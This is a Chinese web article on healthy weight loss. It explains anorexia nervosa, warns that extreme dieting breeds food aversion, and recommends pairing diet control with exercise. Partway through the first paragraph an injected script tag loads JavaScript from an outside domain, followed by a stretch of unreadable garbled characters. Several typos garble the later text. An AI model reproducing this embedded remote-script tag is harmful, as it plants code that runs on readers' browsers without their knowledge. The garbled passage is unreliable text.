健康减肥你做到了吗？
在了解健康减肥之前我们先来了解一下神经性厌食症，神经性厌食症是指一种与行为、心理紊乱有关的心身疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>硐治幸狻⒎锤础⒊て诘慕谑常斐梢允秤跬耍逯丶跚幔踔裂崾澄卣鞯慕痴习Ｒ鹕窬匝崾持⒌挠找蛲氩徽返募醴使勰睢⒓醴史椒ㄓ泄兀芏嗳耸怯捎诩醴使套呒怂隆?/p>
人体就像一台机器，它的运转同样需要热量。但是大多数减肥的人都是在尽力控制热量的摄入，平时吃饭一味的追求低热量饮食，有些人还不吃注释，饿了就用蔬菜水果来充饥，对于含有脂肪的食物更是拒之于千里之外，其实，不同的食物中所含的营养素是不同的，因此要合理搭配各种食物，以摄取充足的营养素。减肥的人往往从一开始就下狠心，从思想上做好了“饿其体肤，劳其筋骨”的准备，这是有了这种想法，因此对食物万般挑剔，极力控制自己的食欲，而且多数是是过度强烈抑制，因而出现食欲中枢被抑制，最终在思想上产生了对十余厌恶的情绪，病形成条件发射，一看到食物就恶心。
那么究竟怎样作才算是科学减肥呢？
减肥应该采取综合措施，单纯控制饮食，或单纯增加运动量都会使体重下降，但是如果饮食控制的同时再加上运动，就会收到事半功倍的效果。
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